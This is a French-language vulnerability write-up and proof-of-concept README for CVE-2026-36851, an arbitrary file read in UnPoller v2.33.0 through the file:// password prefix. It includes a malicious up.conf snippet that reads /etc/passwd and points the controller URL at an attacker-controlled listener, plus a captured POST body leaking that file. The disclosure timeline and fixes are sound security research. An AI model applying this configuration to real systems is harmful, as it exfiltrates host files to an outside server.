
Walkthrough and PoC of File path traversal vulnerability(CVE-2026-36851) for UnPoller 2.33.0
Traversée de chemin / lecture de fichier arbitraire dans UnPoller v2.33.0 via le préfixe de mot de passe file://. Le contenu des fichiers est lu depuis le disque et transmis à l'URL du contrôleur UniFi configurée lors de l'authentification.
| CVE | CVE-2026-36851 |
| Produit | UnPoller v2.33.0 (les versions antérieures sont probablement concernées) |
| Faiblesse | CWE-22 (Traversée de chemin), CWE-20 (Validation d'entrée incorrecte) |
| CVSS 3.1 | 7.5 Élevé — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Signaleur | Hector Diaz |
UnPoller permet de charger des informations d'identification à partir d'un fichier lorsque la valeur de configuration commence par file://. Ce comportement est documenté pour les déploiements Docker où les opérateurs souhaitent que les mots de passe soient en dehors des fichiers de configuration en texte clair. L'implémentation ne restreint pas quel chemin peut être lu — tout fichier accessible par le processus est une entrée valide. Ces contenus sont ensuite envoyés sur le réseau dans un POST JSON vers /api/login sur l'URL du contrôleur définie dans le même fichier de configuration.
Cette combinaison transforme une primitive de lecture de fichier local en canal d'exfiltration réseau : un attaquant ayant un accès en écriture à up.conf peut pointer url vers un serveur qu'il contrôle et divulguer de manière répétée des fichiers sensibles sans autorisation de lecture directe sur ces fichiers.
J'exécute UnPoller dans mon laboratoire personnel — Docker sur un LXC Proxmox — pour exporter les métriques UniFi vers Grafana avec le reste de ma pile. Je passais en revue des projets open-source à la recherche de vulnérabilités web courantes. UnPoller a une surface web minimale orientée utilisateur, donc XSS était une impasse. La configuration d'exemple est là où la découverte a commencé :
pass = "file:///path/to/password.file"
L'intention est raisonnable : référencer un fichier de secrets au lieu d'incorporer le mot de passe dans up.conf. La question que je me posais était de savoir si UnPoller valide ce chemin — ou traite toute valeur file:// comme un pointeur littéral de système de fichiers.
En traçant la source dans pkg/inputunifi/input.go (et un traitement similaire dans influxunifi, lokiunifi), on voit qu'il n'y a pas de liste blanche. Lorsque pass ou api_key commence par file://, le préfixe est supprimé et os.ReadFile() charge le contenu complet du fichier dans le champ d'identification utilisé pour l'authentification UniFi.
Confidentialité : Des fichiers arbitraires lisibles sur l'hôte UnPoller peuvent être exfiltrés — par exemple /etc/passwd, /proc/version, /etc/hosts, des configurations d'application, et potentiellement du matériel de clé selon les permissions du processus.
Prérequis d'attaque : Accès en écriture à la configuration UnPoller (généralement up.conf). Aucune information d'identification UniFi n'est nécessaire pour déclencher la lecture une fois la configuration modifiée.
Pourquoi cela importe au-delà de l'accès administrateur local : Dans les hébergements partagés, Kubernetes mal configuré ou les scénarios de sidecar compromis, un acteur avec peu de privilèges peut être en mesure de modifier la configuration du service sans pouvoir lire directement les fichiers sensibles. Ce comportement comble cet écart en faisant lire le fichier par UnPoller et le transmettre vers l'extérieur.
Hors de portée : Exécution de code à distance, intégrité ou disponibilité — il s'agit d'un problème de divulgation d'informations avec un chemin d'exfiltration clair.
Testé contre ghcr.io/unpoller/unpoller:latest (v2.33.0) sur un LXC Proxmox basé sur Debian avec Docker Compose.
Le réglage de UP_UNIFI_DEFAULT_PASS="file:///etc/passwd" via une variable d'environnement n'a pas déclenché le comportement dans mon déploiement. Le fichier de configuration monté était la source de vérité effective.
J'ai modifié up.conf pour pointer UnPoller vers un serveur de capture que je contrôlais au lieu de mon contrôleur UniFi de production :
[unifi.defaults]
url = "https://x.x.x.x:8443"
user = "admin"
pass = "file:///etc/passwd"
Après docker restart unpoller, le conteneur a commencé à se connecter à mon écouteur sur le port 8443 toutes les ~30 secondes.
Mon premier serveur de capture enregistrait les en-têtes HTTP et recherchait les informations d'identification Authorization: Basic .... UnPoller envoyait des requêtes POST /api/login sans en-tête Authorization — l'API UniFi attend du JSON dans le corps :
{"username": "admin", "password": "..."}
J'ai mis à jour l'écouteur pour lire Content-Length, analyser le corps du POST et enregistrer le JSON. En moins d'une minute, /etc/passwd est apparu dans le champ de mot de passe :

Extrait du journal :
🎯 POST BODY: b'{"username":"admin","password":"root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
nonroot:x:65532:65532:nonroot:/home/nonroot:/sbin/nologin"}'
Le même motif de configuration a fonctionné pour /proc/version (empreinte du noyau/construction) :

Exemple de configuration malveillante : poc/up.conf.example
| Date | Événement |
|---|---|
| 2026-02-28 | Découvert et confirmé dans le laboratoire |
| 2026-03-01 | Fournisseur notifié (Discord) |
Le mainteneur d'UnPoller a reconnu que le comportement file:// était une commodité intentionnelle pour les utilisateurs Docker et a remis en question l'exploitabilité sans séparation des privilèges entre l'éditeur de configuration et l'utilisateur du processus. MITRE a attribué un identifiant CVE malgré tout.
Pour les opérateurs
up.conf et les montages de configuration comme sensibles ; restreindre l'accès en écriture.file:// arbitraires jusqu'à ce qu'un correctif soit disponible.Pour les développeurs
file:// des champs d'identification, ou imposer une liste blanche de chemins stricts (par exemple uniquement sous /etc/unpoller/secrets/).MIT — voir LICENSE. Les documents de preuve de concept dans ce dépôt sont fournis uniquement pour la recherche en sécurité autorisée et l'éducation. Ne les utilisez pas contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.
Hector Diaz · LinkedIn · hectordiaz.net
| 2026-03-02 | Demande de CVE soumise à MITRE |
| 2026-06-05 | CVE-2026-36851 attribué |
| 2026-07-03 | Publication publique de l'article |